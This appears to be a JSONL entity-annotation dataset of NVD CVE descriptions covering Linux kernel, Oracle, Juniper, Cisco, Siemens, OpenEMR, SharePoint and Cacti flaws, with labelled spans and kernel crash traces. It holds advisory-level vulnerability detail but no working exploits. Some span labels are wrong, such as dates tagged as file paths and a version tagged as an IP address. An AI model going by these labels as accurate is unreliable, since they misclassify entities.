/sys/module/zswap/parameters/max_pool_percent": [[1891, 1936]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory corruption": [[179, 196]], "VULNERABILITY: race condition": [[93, 107], [151, 165]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53178"}}
{"text": "A vulnerability has been identified in RUGGEDCOM RM1224 LTE(4G) EU (6GK6108-4AM00-2BA2) (All versions < V8.2), RUGGEDCOM RM1224 LTE(4G) NAM (6GK6108-4AM00-2DA2) (All versions < V8.2), SCALANCE M804PB (6GK5804-0AP00-2AA2) (All versions < V8.2), SCALANCE M812-1 ADSL-Router (6GK5812-1AA00-2AA2) (All versions < V8.2), SCALANCE M812-1 ADSL-Router (6GK5812-1BA00-2AA2) (All versions < V8.2), SCALANCE M816-1 ADSL-Router (6GK5816-1AA00-2AA2) (All versions < V8.2), SCALANCE M816-1 ADSL-Router (6GK5816-1BA00-2AA2) (All versions < V8.2), SCALANCE M826-2 SHDSL-Router (6GK5826-2AB00-2AB2) (All versions < V8.2), SCALANCE M874-2 (6GK5874-2AA00-2AA2) (All versions < V8.2), SCALANCE M874-3 (6GK5874-3AA00-2AA2) (All versions < V8.2), SCALANCE M874-3 3G-Router (CN) (6GK5874-3AA00-2FA2) (All versions < V8.2), SCALANCE M876-3 (6GK5876-3AA02-2BA2) (All versions < V8.2), SCALANCE M876-3 (ROK) (6GK5876-3AA02-2EA2) (All versions < V8.2), SCALANCE M876-4 (6GK5876-4AA10-2BA2) (All versions < V8.2), SCALANCE M876-4 (EU) (6GK5876-4AA00-2BA2) (All versions < V8.2), SCALANCE M876-4 (NAM) (6GK5876-4AA00-2DA2) (All versions < V8.2), SCALANCE MUM853-1 (A1) (6GK5853-2EA10-2AA1) (All versions < V8.2), SCALANCE MUM853-1 (B1) (6GK5853-2EA10-2BA1) (All versions < V8.2), SCALANCE MUM853-1 (EU) (6GK5853-2EA00-2DA1) (All versions < V8.2), SCALANCE MUM856-1 (A1) (6GK5856-2EA10-3AA1) (All versions < V8.2), SCALANCE MUM856-1 (B1) (6GK5856-2EA10-3BA1) (All versions < V8.2), SCALANCE MUM856-1 (CN) (6GK5856-2EA00-3FA1) (All versions < V8.2), SCALANCE MUM856-1 (EU) (6GK5856-2EA00-3DA1) (All versions < V8.2), SCALANCE MUM856-1 (RoW) (6GK5856-2EA00-3AA1) (All versions < V8.2), SCALANCE S615 EEC LAN-Router (6GK5615-0AA01-2AA2) (All versions < V8.2), SCALANCE S615 LAN-Router (6GK5615-0AA00-2AA2) (All versions < V8.2). Affected devices do not properly validate the filenames of the certificate. This could allow an authenticated remote attacker to append arbitrary values which will lead to compromise of integrity of the system.", "spans": {"SYSTEM: V8": [[104, 106], [177, 179], [237, 239], [309, 311], [381, 383], [453, 455], [525, 527], [598, 600], [658, 660], [718, 720], [793, 795], [853, 855], [919, 921], [979, 981], [1044, 1046], [1110, 1112], [1177, 1179], [1244, 1246], [1311, 1313], [1378, 1380], [1445, 1447], [1512, 1514], [1579, 1581], [1647, 1649], [1720, 1722], [1789, 1791]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-50559"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nspi: spi-qpic-snand: reallocate BAM transactions\n\nUsing the mtd_nandbiterrs module for testing the driver occasionally\nresults in weird things like below.\n\n1. swiotlb mapping fails with the following message:\n\n  [   85.926216] qcom_snand 79b0000.spi: swiotlb buffer is full (sz: 4294967294 bytes), total 512 (slots), used 0 (slots)\n  [   85.932937] qcom_snand 79b0000.spi: failure in mapping desc\n  [   87.999314] qcom_snand 79b0000.spi: failure to write raw page\n  [   87.999352] mtd_nandbiterrs: error: write_oob failed (-110)\n\n  Rebooting the board after this causes a panic due to a NULL pointer\n  dereference.\n\n2. If the swiotlb mapping does not fail, rebooting the board may result\n   in a different panic due to a bad spinlock magic:\n\n  [  256.104459] BUG: spinlock bad magic on CPU#3, procd/2241\n  [  256.104488] Unable to handle kernel paging request at virtual address ffffffff0000049b\n  ...\n\nInvestigating the issue revealed that these symptoms are results of\nmemory corruption which is caused by out of bounds access within the\ndriver.\n\nThe driver uses a dynamically allocated structure for BAM transactions,\nwhich structure must have enough space for all possible variations of\ndifferent flash operations initiated by the driver. The required space\nheavily depends on the actual number of 'codewords' which is calculated\nfrom the pagesize of the actual NAND chip.\n\nAlthough the qcom_nandc_alloc() function allocates memory for the BAM\ntransactions during probe, but since the actual number of 'codewords'\nis not yet know the allocation is done for one 'codeword' only.\n\nBecause of this, whenever the driver does a flash operation, and the\nnumber of the required transactions exceeds the size of the allocated\narrays the driver accesses memory out of the allocated range.\n\nTo avoid this, change the code to free the initially allocated BAM\ntransactions memory, and allocate a new one once the actual number of\n'codewords' required for a given NAND chip is known.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: out of bounds access": [[1077, 1097]], "VULNERABILITY: memory corruption": [[1040, 1057]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38398"}}
{"text": "A path traversal vulnerability in the Juniper Networks Junos OS device may allow an authenticated J-web user to read files with 'world' readable permission and delete files with 'world' writeable permission. This issue does not affect system files that can be accessed only by root user. This issue affects Juniper Networks Junos OS: 12.3 versions prior to 12.3R12-S13; 12.3X48 versions prior to 12.3X48-D85 on SRX Series; 14.1X53 versions prior to 14.1X53-D51; 15.1F6 versions prior to 15.1F6-S13; 15.1 versions prior to 15.1R7-S5; 15.1X49 versions prior to 15.1X49-D180 on SRX Series; 15.1X53 versions prior to 15.1X53-D238 on QFX5200/QFX5110 Series; 16.1 versions prior to 16.1R4-S13, 16.1R7-S5; 16.2 versions prior to 16.2R2-S10; 17.1 versions prior to 17.1R3-S1; 17.2 versions prior to 17.2R1-S9, 17.2R3-S2; 17.3 versions prior to 17.3R2-S5, 17.3R3-S5; 17.4 versions prior to 17.4R2-S9, 17.4R3; 18.1 versions prior to 18.1R3-S8; 18.2 versions prior to 18.2R3; 18.3 versions prior to 18.3R2-S3, 18.3R3; 18.4 versions prior to 18.4R2; 19.1 versions prior to 19.1R1-S4, 19.1R2.", "spans": {"ORGANIZATION: Juniper": [[38, 45], [307, 314]], "VULNERABILITY: path traversal": [[2, 16]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1606"}}
{"text": "Vulnerability in the Oracle Email Center product of Oracle E-Business Suite (component: Email Address list and Message Display). Supported versions that are affected are 12.1.1-12.1.3 and 12.2.3-12.2.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Email Center. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Email Center, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Email Center accessible data as well as unauthorized update, insert or delete access to some of Oracle Email Center accessible data. CVSS 3.0 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [52, 58], [311, 317], [449, 455], [642, 648], [745, 751]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2794"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nft_limit: avoid possible divide error in nft_limit_init\n\ndiv_u64() divides u64 by u32.\n\nnft_limit_init() wants to divide u64 by u64, use the appropriate\nmath function (div64_u64)\n\ndivide error: 0000 [#1] PREEMPT SMP KASAN\nCPU: 1 PID: 8390 Comm: syz-executor188 Not tainted 5.12.0-rc4-syzkaller #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011\nRIP: 0010:div_u64_rem include/linux/math64.h:28 [inline]\nRIP: 0010:div_u64 include/linux/math64.h:127 [inline]\nRIP: 0010:nft_limit_init+0x2a2/0x5e0 net/netfilter/nft_limit.c:85\nCode: ef 4c 01 eb 41 0f 92 c7 48 89 de e8 38 a5 22 fa 4d 85 ff 0f 85 97 02 00 00 e8 ea 9e 22 fa 4c 0f af f3 45 89 ed 31 d2 4c 89 f0 <49> f7 f5 49 89 c6 e8 d3 9e 22 fa 48 8d 7d 48 48 b8 00 00 00 00 00\nRSP: 0018:ffffc90009447198 EFLAGS: 00010246\nRAX: 0000000000000000 RBX: 0000200000000000 RCX: 0000000000000000\nRDX: 0000000000000000 RSI: ffffffff875152e6 RDI: 0000000000000003\nRBP: ffff888020f80908 R08: 0000200000000000 R09: 0000000000000000\nR10: ffffffff875152d8 R11: 0000000000000000 R12: ffffc90009447270\nR13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000\nFS:  000000000097a300(0000) GS:ffff8880b9d00000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00000000200001c4 CR3: 0000000026a52000 CR4: 00000000001506e0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n nf_tables_newexpr net/netfilter/nf_tables_api.c:2675 [inline]\n nft_expr_init+0x145/0x2d0 net/netfilter/nf_tables_api.c:2713\n nft_set_elem_expr_alloc+0x27/0x280 net/netfilter/nf_tables_api.c:5160\n nf_tables_newset+0x1997/0x3150 net/netfilter/nf_tables_api.c:4321\n nfnetlink_rcv_batch+0x85a/0x21b0 net/netfilter/nfnetlink.c:456\n nfnetlink_rcv_skb_batch net/netfilter/nfnetlink.c:580 [inline]\n nfnetlink_rcv+0x3af/0x420 net/netfilter/nfnetlink.c:598\n netlink_unicast_kernel net/netlink/af_netlink.c:1312 [inline]\n netlink_unicast+0x533/0x7d0 net/netlink/af_netlink.c:1338\n netlink_sendmsg+0x856/0xd90 net/netlink/af_netlink.c:1927\n sock_sendmsg_nosec net/socket.c:654 [inline]\n sock_sendmsg+0xcf/0x120 net/socket.c:674\n ____sys_sendmsg+0x6e8/0x810 net/socket.c:2350\n ___sys_sendmsg+0xf3/0x170 net/socket.c:2404\n __sys_sendmsg+0xe5/0x1b0 net/socket.c:2433\n do_syscall_64+0x2d/0x70 arch/x86/entry/common.c:46\n entry_SYSCALL_64_after_hwframe+0x44/0xae", "spans": {"FILEPATH: /01/2011": [[459, 467]], "FILEPATH: /linux/math64.h": [[497, 512], [550, 565]], "FILEPATH: /netfilter/nft_limit.c": [[619, 641]], "FILEPATH: /netfilter/nf_tables_api.c": [[1578, 1604], [1649, 1675], [1720, 1746], [1787, 1813]], "FILEPATH: /netfilter/nfnetlink.c": [[1856, 1878], [1911, 1933], [1977, 1999]], "FILEPATH: /netlink/af_netlink.c": [[2031, 2052], [2099, 2120], [2158, 2179]], "FILEPATH: /x86/entry/common.c": [[2438, 2457]], "FILEPATH: socket.c": [[2209, 2217], [2260, 2268], [2306, 2314], [2351, 2359], [2395, 2403]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[393, 399], [400, 406], [422, 428], [450, 456]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-46915"}}
{"text": "OpenEMR is a free and open source electronic health records and medical practice management application. Prior to version 8.0.0.3, an Insecure Direct Object Reference (IDOR) vulnerability in the fee sheet product save logic (`library/FeeSheet.class.php`) allows any authenticated user with fee sheet ACL access to delete, modify, or read `drug_sales` records belonging to arbitrary patients by manipulating the hidden `prod[][sale_id]` form field. The `save()` method uses the user-supplied `sale_id` in five SQL queries (SELECT, UPDATE, DELETE) without verifying that the record belongs to the current patient and encounter. Version 8.0.0.3 contains a patch.", "spans": {"IP_ADDRESS: 8.0.0.3": [[122, 129], [634, 641]], "FILEPATH: class.php": [[243, 252]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-32120"}}
{"text": "Discourse is an open source discussion platform. Prior to versions 2025.12.2, 2026.1.1, and 2026.2.0, `discourse-policy` plugin allows any authenticated user to interact with policies on posts they do not have permission to view. The `PolicyController` loads posts by ID without verifying the current user's access, enabling policy group members to accept/unaccept policies on posts in private categories or PMs they cannot see and any authenticated user to enumerate which post IDs have policies attached via differentiated error responses (information disclosure). The issue is patched in versions 2025.12.2, 2026.1.1, and 2026.2.0 by adding a `guardian.can_see?(@post)` check in the `set_post` before_action, ensuring post visibility is verified before any policy action is processed. As a workaround, disabling the discourse-policy plugin (`policy_enabled = false`) eliminates the vulnerability. There is no other workaround without upgrading.", "spans": {"VULNERABILITY: information disclosure": [[542, 564]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-26207"}}
{"text": "<p>This vulnerability is caused when SharePoint Server does not properly sanitize a specially crafted request to an affected SharePoint server.</p>\n<p>An authenticated attacker could exploit this vulnerability by sending a specially crafted request to an affected SharePoint server. The attacker who successfully exploited this vulnerability could then perform cross-site scripting attacks on affected systems and run script in the security context of the current user. These attacks could allow the attacker to read content that the attacker is not authorized to read, use the victim's identity to take actions on the SharePoint site on behalf of the victim, such as change permissions, delete content, steal sensitive information (such as browser cookies) and inject malicious content in the browser of the victim.</p>\n<p>For this vulnerability to be exploited, a user must click a specially crafted URL that takes the user to a targeted SharePoint Web App site.</p>\n<p>In an email attack scenario, an attacker could exploit the vulnerability by sending an email message containing the specially crafted URL to the user of the targeted SharePoint Web App site and convincing the user to click the specially crafted URL.</p>\n<p>In a web-based attack scenario, an attacker would have to host a website that contains a specially crafted URL to the targeted SharePoint Web App site that is used to attempt to exploit these vulnerabilities. In addition, compromised websites and websites that accept or host user-provided content could contain specially crafted content that could exploit the vulnerability. An attacker would have no way to force users to visit a specially crafted website. Instead, an attacker would have to convince them to visit the website, typically by getting them to click a link in an instant messenger or email message that takes them to the attacker's website, and then convince them to click the specially crafted URL.</p>\n<p>The security update addresses the vulnerability by helping to ensure that SharePoint Server properly sanitizes user web requests.</p>", "spans": {"VULNERABILITY: cross-site scripting": [[361, 381]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-16944"}}
{"text": "Cacti is an open source operational monitoring and fault management framework. The fix applied for CVE-2023-39515 in version 1.2.25 is incomplete as it enables an adversary to have a victim browser execute malicious code when a victim user hovers their mouse over the malicious data source path in `data_debug.php`. To perform the cross-site scripting attack, the adversary needs to be an authorized cacti user with the following permissions: `General Administration>Sites/Devices/Data`. The victim of this attack could be any account with permissions to view `http://<HOST>/cacti/data_debug.php`. As of time of publication, no complete fix has been included in Cacti.", "spans": {"CVE_ID: CVE-2023-39515": [[99, 113]], "FILEPATH: /Devices/Data": [[472, 485]], "FILEPATH: /cacti/data_debug.php": [[574, 595]], "FILEPATH: data_debug.php": [[299, 313]], "VULNERABILITY: cross-site scripting": [[331, 351]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-49088"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/mediatek: Disable AFBC support on Mediatek DRM driver\n\nCommit c410fa9b07c3 (\"drm/mediatek: Add AFBC support to Mediatek DRM\ndriver\") added AFBC support to Mediatek DRM and enabled the\n32x8/split/sparse modifier.\n\nHowever, this is currently broken on Mediatek MT8188 (Genio 700 EVK\nplatform); tested using upstream Kernel and Mesa (v25.2.1), AFBC is used by\ndefault since Mesa v25.0.\n\nKernel trace reports vblank timeouts constantly, and the render is garbled:\n\n```\n[CRTC:62:crtc-0] vblank wait timed out\nWARNING: CPU: 7 PID: 70 at drivers/gpu/drm/drm_atomic_helper.c:1835 drm_atomic_helper_wait_for_vblanks.part.0+0x24c/0x27c\n[...]\nHardware name: MediaTek Genio-700 EVK (DT)\nWorkqueue: events_unbound commit_work\npstate: 60400009 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\npc : drm_atomic_helper_wait_for_vblanks.part.0+0x24c/0x27c\nlr : drm_atomic_helper_wait_for_vblanks.part.0+0x24c/0x27c\nsp : ffff80008337bca0\nx29: ffff80008337bcd0 x28: 0000000000000061 x27: 0000000000000000\nx26: 0000000000000001 x25: 0000000000000000 x24: ffff0000c9dcc000\nx23: 0000000000000001 x22: 0000000000000000 x21: ffff0000c66f2f80\nx20: ffff0000c0d7d880 x19: 0000000000000000 x18: 000000000000000a\nx17: 000000040044ffff x16: 005000f2b5503510 x15: 0000000000000000\nx14: 0000000000000000 x13: 74756f2064656d69 x12: 742074696177206b\nx11: 0000000000000058 x10: 0000000000000018 x9 : ffff800082396a70\nx8 : 0000000000057fa8 x7 : 0000000000000cce x6 : ffff8000823eea70\nx5 : ffff0001fef5f408 x4 : ffff80017ccee000 x3 : ffff0000c12cb480\nx2 : 0000000000000000 x1 : 0000000000000000 x0 : ffff0000c12cb480\nCall trace:\n drm_atomic_helper_wait_for_vblanks.part.0+0x24c/0x27c (P)\n drm_atomic_helper_commit_tail_rpm+0x64/0x80\n commit_tail+0xa4/0x1a4\n commit_work+0x14/0x20\n process_one_work+0x150/0x290\n worker_thread+0x2d0/0x3ec\n kthread+0x12c/0x210\n ret_from_fork+0x10/0x20\n---[ end trace 0000000000000000 ]---\n```\n\nUntil this gets fixed upstream, disable AFBC support on this platform, as\nit's currently broken with upstream Mesa.", "spans": {"FILEPATH: /split/sparse": [[261, 274]], "FILEPATH: /gpu/drm/drm_atomic_helper.c": [[611, 639]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68184"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmptcp: stricter state check in mptcp_worker\n\nAs reported by Christoph, the mptcp protocol can run the\nworker when the relevant msk socket is in an unexpected state:\n\nconnect()\n// incoming reset + fastclose\n// the mptcp worker is scheduled\nmptcp_disconnect()\n// msk is now CLOSED\nlisten()\nmptcp_worker()\n\nLeading to the following splat:\n\ndivide error: 0000 [#1] PREEMPT SMP\nCPU: 1 PID: 21 Comm: kworker/1:0 Not tainted 6.3.0-rc1-gde5e8fd0123c #11\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.11.0-2.el7 04/01/2014\nWorkqueue: events mptcp_worker\nRIP: 0010:__tcp_select_window+0x22c/0x4b0 net/ipv4/tcp_output.c:3018\nRSP: 0018:ffffc900000b3c98 EFLAGS: 00010293\nRAX: 000000000000ffd7 RBX: 000000000000ffd7 RCX: 0000000000000000\nRDX: 0000000000000000 RSI: ffffffff8214ce97 RDI: 0000000000000004\nRBP: 000000000000ffd7 R08: 0000000000000004 R09: 0000000000010000\nR10: 000000000000ffd7 R11: ffff888005afa148 R12: 000000000000ffd7\nR13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000\nFS:  0000000000000000(0000) GS:ffff88803ed00000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000000000405270 CR3: 000000003011e006 CR4: 0000000000370ee0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n tcp_select_window net/ipv4/tcp_output.c:262 [inline]\n __tcp_transmit_skb+0x356/0x1280 net/ipv4/tcp_output.c:1345\n tcp_transmit_skb net/ipv4/tcp_output.c:1417 [inline]\n tcp_send_active_reset+0x13e/0x320 net/ipv4/tcp_output.c:3459\n mptcp_check_fastclose net/mptcp/protocol.c:2530 [inline]\n mptcp_worker+0x6c7/0x800 net/mptcp/protocol.c:2705\n process_one_work+0x3bd/0x950 kernel/workqueue.c:2390\n worker_thread+0x5b/0x610 kernel/workqueue.c:2537\n kthread+0x138/0x170 kernel/kthread.c:376\n ret_from_fork+0x2c/0x50 arch/x86/entry/entry_64.S:308\n </TASK>\n\nThis change addresses the issue explicitly checking for bad states\nbefore running the mptcp worker.", "spans": {"FILEPATH: /01/2014": [[590, 598]], "FILEPATH: /ipv4/tcp_output.c": [[675, 693], [1440, 1458], [1508, 1526], [1553, 1571], [1624, 1642]], "FILEPATH: /mptcp/protocol.c": [[1674, 1691], [1735, 1752]], "FILEPATH: /x86/entry/entry_64.S": [[1933, 1954]], "FILEPATH: workqueue.c": [[1795, 1806], [1845, 1856]], "FILEPATH: kthread.c": [[1890, 1899]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[530, 534]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54176"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsched/fair: Prevent dead task groups from regaining cfs_rq's\n\nKevin is reporting crashes which point to a use-after-free of a cfs_rq\nin update_blocked_averages(). Initial debugging revealed that we've\nlive cfs_rq's (on_list=1) in an about to be kfree()'d task group in\nfree_fair_sched_group(). However, it was unclear how that can happen.\n\nHis kernel config happened to lead to a layout of struct sched_entity\nthat put the 'my_q' member directly into the middle of the object\nwhich makes it incidentally overlap with SLUB's freelist pointer.\nThat, in combination with SLAB_FREELIST_HARDENED's freelist pointer\nmangling, leads to a reliable access violation in form of a #GP which\nmade the UAF fail fast.\n\nMichal seems to have run into the same issue[1]. He already correctly\ndiagnosed that commit a7b359fc6a37 (\"sched/fair: Correctly insert\ncfs_rq's to list on unthrottle\") is causing the preconditions for the\nUAF to happen by re-adding cfs_rq's also to task groups that have no\nmore running tasks, i.e. also to dead ones. His analysis, however,\nmisses the real root cause and it cannot be seen from the crash\nbacktrace only, as the real offender is tg_unthrottle_up() getting\ncalled via sched_cfs_period_timer() via the timer interrupt at an\ninconvenient time.\n\nWhen unregister_fair_sched_group() unlinks all cfs_rq's from the dying\ntask group, it doesn't protect itself from getting interrupted. If the\ntimer interrupt triggers while we iterate over all CPUs or after\nunregister_fair_sched_group() has finished but prior to unlinking the\ntask group, sched_cfs_period_timer() will execute and walk the list of\ntask groups, trying to unthrottle cfs_rq's, i.e. re-add them to the\ndying task group. These will later -- in free_fair_sched_group() -- be\nkfree()'ed while still being linked, leading to the fireworks Kevin\nand Michal are seeing.\n\nTo fix this race, ensure the dying task group gets unlinked first.\nHowever, simply switching the order of unregistering and unlinking the\ntask group isn't sufficient, as concurrent RCU walkers might still see\nit, as can be seen below:\n\n    CPU1:                                      CPU2:\n      :                                        timer IRQ:\n      :                                          do_sched_cfs_period_timer():\n      :                                            :\n      :                                            distribute_cfs_runtime():\n      :                                              rcu_read_lock();\n      :                                              :\n      :                                              unthrottle_cfs_rq():\n    sched_offline_group():                             :\n      :                                                walk_tg_tree_from(…,tg_unthrottle_up,…):\n      list_del_rcu(&tg->list);                           :\n (1)  :                                                  list_for_each_entry_rcu(child, &parent->children, siblings)\n      :                                                    :\n (2)  list_del_rcu(&tg->siblings);                         :\n      :                                                    tg_unthrottle_up():\n      unregister_fair_sched_group():                         struct cfs_rq *cfs_rq = tg->cfs_rq[cpu_of(rq)];\n        :                                                    :\n        list_del_leaf_cfs_rq(tg->cfs_rq[cpu]);               :\n        :                                                    :\n        :                                                    if (!cfs_rq_is_decayed(cfs_rq) || cfs_rq->nr_running)\n (3)    :                                                        list_add_leaf_cfs_rq(cfs_rq);\n      :                                                      :\n      :                                                    :\n      :                                                  :\n      :                                                :\n      :                           \n---truncated---", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[175, 189]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47209"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\niommufd: Fix unpinning of pages when an access is present\n\nsyzkaller found that the calculation of batch_last_index should use\n'start_index' since at input to this function the batch is either empty or\nit has already been adjusted to cross any accesses so it will start at the\npoint we are unmapping from.\n\nGetting this wrong causes the unmap to run over the end of the pages\nwhich corrupts pages that were never mapped. In most cases this triggers\nthe num pinned debugging:\n\n  WARNING: CPU: 0 PID: 557 at drivers/iommu/iommufd/pages.c:294 __iopt_area_unfill_domain+0x152/0x560\n  Modules linked in:\n  CPU: 0 PID: 557 Comm: repro Not tainted 6.3.0-rc2-eeac8ede1755 #1\n  Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014\n  RIP: 0010:__iopt_area_unfill_domain+0x152/0x560\n  Code: d2 0f ff 44 8b 64 24 54 48 8b 44 24 48 31 ff 44 89 e6 48 89 44 24 38 e8 fc d3 0f ff 45 85 e4 0f 85 eb 01 00 00 e8 0e d2 0f ff <0f> 0b e8 07 d2 0f ff 48 8b 44 24 38 89 5c 24 58 89 18 8b 44 24 54\n  RSP: 0018:ffffc9000108baf0 EFLAGS: 00010246\n  RAX: 0000000000000000 RBX: 00000000ffffffff RCX: ffffffff821e3f85\n  RDX: 0000000000000000 RSI: ffff88800faf0000 RDI: 0000000000000002\n  RBP: ffffc9000108bd18 R08: 000000000003ca25 R09: 0000000000000014\n  R10: 000000000003ca00 R11: 0000000000000024 R12: 0000000000000004\n  R13: 0000000000000801 R14: 00000000000007ff R15: 0000000000000800\n  FS:  00007f3499ce1740(0000) GS:ffff88807dc00000(0000) knlGS:0000000000000000\n  CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n  CR2: 0000000020000243 CR3: 00000000179c2001 CR4: 0000000000770ef0\n  PKRU: 55555554\n  Call Trace:\n   <TASK>\n   iopt_area_unfill_domain+0x32/0x40\n   iopt_table_remove_domain+0x23f/0x4c0\n   iommufd_device_selftest_detach+0x3a/0x90\n   iommufd_selftest_destroy+0x55/0x70\n   iommufd_object_destroy_user+0xce/0x130\n   iommufd_destroy+0xa2/0xc0\n   iommufd_fops_ioctl+0x206/0x330\n   __x64_sys_ioctl+0x10e/0x160\n   do_syscall_64+0x3b/0x90\n   entry_SYSCALL_64_after_hwframe+0x72/0xdc\n\nAlso add some useful WARN_ON sanity checks.", "spans": {"DOMAIN: rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org": [[798, 842]], "FILEPATH: /iommu/iommufd/pages.c": [[582, 604]], "FILEPATH: /01/2014": [[845, 853]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[753, 757]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53630"}}
{"text": "Vulnerability in the Oracle Application Express Data Reporter component of Oracle Database Server. The supported version that is affected is Prior to 20.2. Easily exploitable vulnerability allows low privileged attacker having Valid User Account privilege with network access via HTTP to compromise Oracle Application Express Data Reporter. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Application Express Data Reporter, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Application Express Data Reporter accessible data as well as unauthorized read access to a subset of Oracle Application Express Data Reporter accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).", "spans": {"SYSTEM: Oracle Database": [[75, 90]], "ORGANIZATION: Oracle": [[21, 27], [299, 305], [458, 464], [665, 671], [773, 779]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14899"}}
{"text": "A vulnerability in the Unidirectional Link Detection (UDLD) feature of Cisco FXOS Software and Cisco NX-OS Software could allow an unauthenticated, adjacent attacker to execute arbitrary code with administrative privileges or cause a denial of service (DoS) condition on an affected device. This vulnerability is due to insufficient input validation. An attacker could exploit this vulnerability by sending crafted Cisco UDLD protocol packets to a directly connected, affected device. A successful exploit could allow the attacker to execute arbitrary code with administrative privileges or cause the Cisco UDLD process to crash and restart multiple times, causing the affected device to reload and resulting in a DoS condition. Note: The UDLD feature is disabled by default, and the conditions to exploit this vulnerability are strict. The attacker needs full control of a directly connected device. That device must be connected over a port channel that has UDLD enabled. To trigger arbitrary code execution, both the UDLD-enabled port channel and specific system conditions must exist. In the absence of either the UDLD-enabled port channel or the system conditions, attempts to exploit this vulnerability will result in a DoS condition. It is possible, but highly unlikely, that an attacker could control the necessary conditions for exploitation. The CVSS score reflects this possibility. However, given the complexity of exploitation, Cisco has assigned a Medium Security Impact Rating (SIR) to this vulnerability.", "spans": {"SYSTEM: Cisco NX-OS": [[95, 106]], "ORGANIZATION: Cisco": [[71, 76], [415, 420], [601, 606], [1441, 1446]], "VULNERABILITY: denial of service": [[234, 251]], "VULNERABILITY: code execution": [[995, 1009]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-1368"}}
{"text": "An Incomplete List of Disallowed Inputs vulnerability in Packet Forwarding Engine (PFE) of Juniper Networks Junos OS on QFX5000 Series and EX4600 Series allows an adjacent unauthenticated attacker which sends a high rate of specific multicast traffic to cause control traffic received from the network to be dropped. This will impact control protocols (including but not limited to routing-protocols) and lead to a Denial of Service (DoS). Continued receipt of this specific multicast traffic will create a sustained Denial of Service (DoS) condition. This issue affects Juniper Networks Junos OS on QFX5000 and EX4600 Series: All versions prior to 17.3R3-S12; 17.4 versions prior to 17.4R3-S5; 18.3 versions prior to 18.3R3-S5; 18.4 versions prior to 18.4R3-S9; 19.1 versions prior to 19.1R3-S6; 19.2 versions prior to 19.2R1-S7, 19.2R3-S3; 19.3 versions prior to 19.3R2-S6, 19.3R3-S3; 19.4 versions prior to 19.4R1-S4, 19.4R3-S3; 20.1 versions prior to 20.1R2-S2, 20.1R3-S1; 20.2 versions prior to 20.2R3-S2; 20.3 versions prior to 20.3R3; 20.4 versions prior to 20.4R2-S2, 20.4R3; 21.1 versions prior to 21.1R1-S1, 21.1R2.", "spans": {"ORGANIZATION: Juniper": [[91, 98], [571, 578]], "VULNERABILITY: Denial of Service": [[415, 432], [517, 534]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-31370"}}
